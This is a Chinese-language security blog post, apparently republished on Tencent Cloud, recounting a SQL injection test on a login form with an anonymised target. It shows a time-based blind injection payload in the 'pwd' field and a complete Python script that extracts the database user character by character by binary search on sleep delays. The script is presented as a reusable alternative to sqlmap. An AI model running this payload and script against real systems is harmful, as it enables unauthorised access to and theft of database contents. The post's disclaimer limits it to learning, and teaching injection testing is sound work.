前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战 | 简单的sql注入与脚本的编写

实战 | 简单的sql注入与脚本的编写

作者头像
F12sec
发布2022-09-29 20:01:21
5270
发布2022-09-29 20:01:21
举报
文章被收录于专栏:F12sec

前言

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

来自团队师傅 spaceman

Part.1 漏洞挖掘过程

登录页面如下

随便手动尝试了一下弱密码,无果,于是尝试输入一个单引号,鱼鱼鱼!报错,机会来了

于是抓包分析尝试一手

尝试在cc参数测试注入,发现好像也不太对

接着尝试,发现pwd位置好像才是注入点

于是闭合注释,正常回显了

于是继续测试,通过报错我们也得知了是mysql数据库

所以可以选择使用时间盲注

代码语言:javascript
复制
cc=1234&pwd=456’and if((length(database())=8),sleep(5),0))–+&key=

这里需要注意的是括号这个地方,因为这个与之前一般的sql注入不一样,这个括号是放在最后才不会出错,而不是放在单引号后面

了解了原理之后就可以自己编写二分法脚本了

老是sqlmap梭哈没多大意思,二分时间盲注脚本如下

Part.2 二分法盲注脚本

代码语言:javascript
复制
# -*- coding:utf-8 -*-

import requests
from requests import exceptions

url = 'http://ip/CheckUser'

def main():
    result = ""
    for i in range(1, 20):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            content = "select user()"
            sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "
            data = {
                "cc":'123456',
                "pwd": sql,
                "key":''
            }
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}
            r = requests.post(url=url, data=data,headers=headers)
            if r.elapsed.total_seconds() > 5:
                high = mid
            else:
                low = mid + 1
            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 F12sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档